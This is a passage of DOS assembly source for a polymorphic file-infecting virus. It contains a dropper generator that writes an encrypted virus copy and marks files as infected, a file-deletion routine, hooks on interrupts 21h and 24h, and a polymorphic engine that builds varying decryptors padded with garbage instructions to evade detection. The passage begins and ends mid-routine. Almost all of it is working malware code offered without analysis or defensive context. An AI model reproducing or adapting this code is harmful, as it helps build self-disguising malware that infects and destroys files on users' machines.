xor cx,cx
int 03h
jc exit_generator
mov dword ptr ds:[host_type],"DROP" ; Set host type
mov word ptr ds:[delta],0100h ; Save delta offset
xchg bx,ax
push bx
mov si,inf_para_size*02h ; Allocate memory
call mem_alloc ; for a virus copy
pop bx ; and the virus body
or di,di
jz cant_drop
push bx
mov es,di
xor di,di
call gen_polymorph
add word ptr ds:[delta],di ; Save delta offset
xor si,si
mov cx,inf_byte_size
rep movsb
push di
push es
pop ds
call crypto03h ; Crypt area 03h
call crypto02h ; Crypt area 02h
call crypto01h ; Crypt area 01h
call gen_encryption
mov ah,40h ; Write virus
pop cx ; dropper
pop bx
sub dx,dx
int 03h
jc oh_shit
mov ah,2Ah ; Get current year
int 03h
mov ax,cx
sub ax,07BCh ; Years from 1980
call rand_in_range
shl al,1
mov dh,al
call get_rnd ; Get random date
and al,0FEh
mov dl,al
call rand_16 ; Get random time
and ax,7BE0h
or al,0Ah ; Mark as infected
mov cx,ax
mov ax,5701h
int 03h
oh_shit: mov ah,49h ; Free allocated
int 03h ; memory
push cs
pop ds
mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta
cant_drop: mov ah,3Eh ; Close file
int 03h
exit_generator: call free_24h_03h
do_not_gen: jmp exit21h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Make a copy of file header ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
backup_header: push si
push di
push es
push ds
pop es
mov si,offset inf_header
mov di,offset old_header
mov cx,001Ch
cld
rep movsb
pop es
pop di
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Seek into file routines ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
seek_begin: xor al,al
jmp short seek_int_21h
seek_end: mov al,02h
seek_int_21h: mov ah,42h
xor cx,cx
xor dx,dx
int 03h
jc seek_error
mov word ptr cs:[file_size],ax ; Save pointer
mov word ptr cs:[file_size+02h],dx ; position
clc
ret
seek_error: stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Delete file routine ³
;³ On entry: ³
;³ DS:DX -> ptr to the file name to delete ³
;³ DS:SI -> ptr to directory name ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
delete_file: push ds
pop es ; Get path of next
push si
push di
mov di,offset delete_path
push di
mov bx,di
cld
copy_del_path: lodsb
stosb
cmp al,"\"
jne no_slash_here
mov bx,di
no_slash_here: or al,al
jnz copy_del_path
mov si,dx ; Now write the name
mov di,bx ; of the file to delete
copy_del_name: lodsb ; next to path
stosb
or al,al
jnz copy_del_name
mov ax,4301h ; Wipe out the file
xor cx,cx ; attribute
pop dx
int 03h
mov ah,41h ; Delete filename
int 03h
pop di
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Hook int 24h to a dummy handler and redirect int 21h over int 3 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
hook_24h_03h: push ax
push bx
push ds
push es
push cs
pop ds
mov al,03h
call get_int
mov word ptr ds:[old03h],bx
mov word ptr ds:[old03h+02h],es
mov dx,offset call21h
call set_int
mov al,24h
call get_int
mov word ptr ds:[old24h],bx
mov word ptr ds:[old24h+02h],es
mov dx,offset my24h
call set_int
pop es
pop ds
pop bx
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Restore int 24h and 3 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
free_24h_03h: push ax
push ds
mov al,03h
lds dx,dword ptr cs:[old03h]
call set_int
mov al,24h
lds dx,dword ptr cs:[old24h]
call set_int
pop ds
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus critical error interrupt handler (int 24h) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
my24h: sti
mov al,3 ; Return error in
iret ; function
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate polymorphic encryption ³
;³ On entry: ³
;³ DS -> virus code segment ³
;³ ES:DI -> position where the engine has to put the decryptor ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_polymorph: cld
call rand_16 ; Get displacement
and al,0FEh ; Avoid odd displace
mov word ptr ds:[eng_displace],ax
call rand_16 ; Get crypt key
mov word ptr ds:[eng_crypt_key],ax
mov byte ptr ds:[eng_recursive],00h ; Reset rec. counter
cmp dword ptr ds:[host_type],".EXE" ; 1st rnd block only
jne skip_1st_block ; on EXE files
call gen_rnd_block ; Block of rand data
skip_1st_block: mov word ptr ds:[eng_entry_point],di ; Decryptor entry
mov ax,(offset end_opcodes - offset opcodes_table)/02h
call rand_in_range
add ax,ax
mov si,offset opcodes_table ; Get pointer to
add si,ax ; random reg table
lodsw
mov si,ax
call gen_garbage
; At this point,
; DS:SI -> reg opcode table+01h
;
; +00h add [bp+nn],key
; rol [bp+nn],01h
; inc [bp+nn]
; +01h sub [bp+nn],key
; +02h xor [bp+nn],key
; +03h ror [bp+nn],01h
; dec [bp+nn]
; +04h add bp,inm
; +05h sub bp,inm
; +06h inc bp
; +07h cmp bp,inm
movsb ; mov reg,imm
mov word ptr ds:[eng_init_ptr],di
xor ax,ax
stosw
call gen_garbage
mov word ptr ds:[eng_loop_point],di
call gen_garbage
mov al,2Eh ; Get segment reg
stosb
mov ax,(offset end_crypt - offset crypt_table)/02h
call rand_in_range
add ax,ax
mov bx,offset crypt_table ; Get pointer to
add bx,ax ; crypt generator
call word ptr ds:[bx] ; Gen decrypt instr
call gen_garbage
mov ax,(offset end_inc_ptr - offset inc_ptr_table)/02h
call rand_in_range
add ax,ax
mov bx,offset inc_ptr_table ; Get pointer to
add bx,ax ; inc ptr generator
call word ptr ds:[bx] ; Gen inc ptr instr
call gen_garbage
mov al,81h
mov ah,byte ptr ds:[si+07h] ; Gen cmp reg,imm
stosw
mov word ptr ds:[eng_cmp_ptr],di
xor ax,ax
stosw
mov ax,di
sub ax,word ptr ds:[eng_loop_point]
cmp ax,7Fh
jb use_jmp_short
mov ax,0074h ; Gen je label
stosw ; garbage
push di ; jmp loop_point
call gen_garbage ; garbage
mov al,0E9h ; label:
stosb
mov ax,di
sub ax,word ptr ds:[eng_loop_point]
inc ax
inc ax
neg ax
stosw
call gen_garbage
pop bx
mov ax,di
sub ax,bx
mov byte ptr es:[bx-01h],al
jmp short continue_gen
use_jmp_short: inc al
inc al
neg al
mov ah,75h
xchg ah,al
stosw ; Gen jne loop_point
continue_gen: call gen_garbage
mov al,0E9h
stosb
push di
xor ax,ax
stosw
call gen_rnd_block ; Block of rand data
pop bx
mov ax,di
sub ax,bx
dec ax
dec ax
mov word ptr es:[bx],ax
mov ax,di
mov word ptr ds:[crypt_delta],ax
add ax,word ptr ds:[delta]
sub ax,word ptr ds:[eng_displace]
mov bx,word ptr ds:[eng_init_ptr] ; Ptr start of
mov word ptr es:[bx],ax ; encrypted code...
add ax,(inf_byte_size and 0FFFEh)+02h
mov bx,word ptr ds:[eng_cmp_ptr] ; Ptr end of
mov word ptr es:[bx],ax ; encrypted code...
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Perform encryption ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_encryption: mov si,word ptr cs:[crypt_delta]
mov di,si
mov cx,(inf_byte_size+01h)/02h
mov dx,word ptr cs:[eng_crypt_key]
loop_do_crypt: lodsw
db 0EBh,00h ; Clear prefetch
crypt_reverse dw 9090h ; Crypt/decrypt
stosw
loop loop_do_crypt
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate random data block ³
;³ On entry to rnd_fill_loop: ³
;³ ES:DI -> buffer to be filled ³
;³ CX -> buffer size in bytes ³
;³ Warning: direction flag must be clear ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_rnd_block: mov ax,004Bh ; Generate a block of
call rand_in_range ; random data
add ax,0019h
mov cx,ax
rnd_fill_loop: call get_rnd
stosb
loop rnd_fill_loop
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with add instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypt_add: mov al,81h
mov ah,byte ptr ds:[si]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ax,word ptr ds:[eng_crypt_key] ; Key
stosw
mov ds:[crypt_reverse],0C22Bh ; sub ax,dx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with sub instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypt_sub: mov al,81h
mov ah,byte ptr ds:[si+01H]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ax,word ptr ds:[eng_crypt_key] ; Key
stosw
mov ds:[crypt_reverse],0C203h ; add ax,dx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with xor instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypt_xor: mov al,81h
mov ah,byte ptr ds:[si+02h]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ax,word ptr ds:[eng_crypt_key] ; Key
stosw
mov ds:[crypt_reverse],0C233h ; xor ax,dx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with rol instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypt_rol: mov al,0D1h
mov ah,byte ptr ds:[si]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ds:[crypt_reverse],0C8D1h ; ror ax,dx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with ror instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypt_ror: mov al,0D1h
mov ah,byte ptr ds:[si+03h]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ds:[crypt_reverse],0C0D1h ; sub ax,dx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with inc instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypt_inc: mov al,0FFh
mov ah,byte ptr ds:[si]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ds:[crypt_reverse],9048h ; dec ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with dec instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypt_dec: mov al,0FFh
mov ah,byte ptr ds:[si+03h]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ds:[crypt_reverse],9040h ; inc ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0002h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_add0002h: mov al,83h
mov ah,byte ptr ds:[si+04h]
stosw
mov al,02h
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFEh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_subFFFEh: mov al,83h
mov ah,byte ptr ds:[si+05h]
stosw
mov al,0FEh
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using inc reg + garbage + inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_inc_inc: call gen_inc_reg
call gen_garbage
call gen_inc_reg
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using inc reg + garbage + add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_inc_add: call gen_inc_reg
call gen_garbage
call gen_add_0001h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0001h + garbage + inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_add_inc: call gen_add_0001h
call gen_garbage
call gen_inc_reg
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using inc reg + garbage + sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_inc_sub: call gen_inc_reg
call gen_garbage
call gen_sub_FFFFh
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFFh + garbage + inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_sub_inc: call gen_sub_FFFFh
call gen_garbage
call gen_inc_reg
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0001h + garbage + add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_add_add: call gen_add_0001h
call gen_garbage
call gen_add_0001h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFFh + garbage + sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_sub_sub: call gen_sub_FFFFh
call gen_garbage
call gen_sub_FFFFh
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0001h + garbage + sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_add_sub: call gen_add_0001h
call gen_garbage
call gen_sub_FFFFh
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFFh + garbage + add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ptr_sub_add: call gen_sub_FFFFh
call gen_garbage
call gen_add_0001h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_add_0001h: mov al,83h
mov ah,byte ptr ds:[si+04h]
stosw
mov al,01h
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_sub_FFFFh: mov al,83h
mov ah,byte ptr ds:[si+05h]
stosw
mov al,0FFh
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_inc_reg: mov al,byte ptr ds:[si+06h]
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate from 2 up to 5 garbage instructions ³
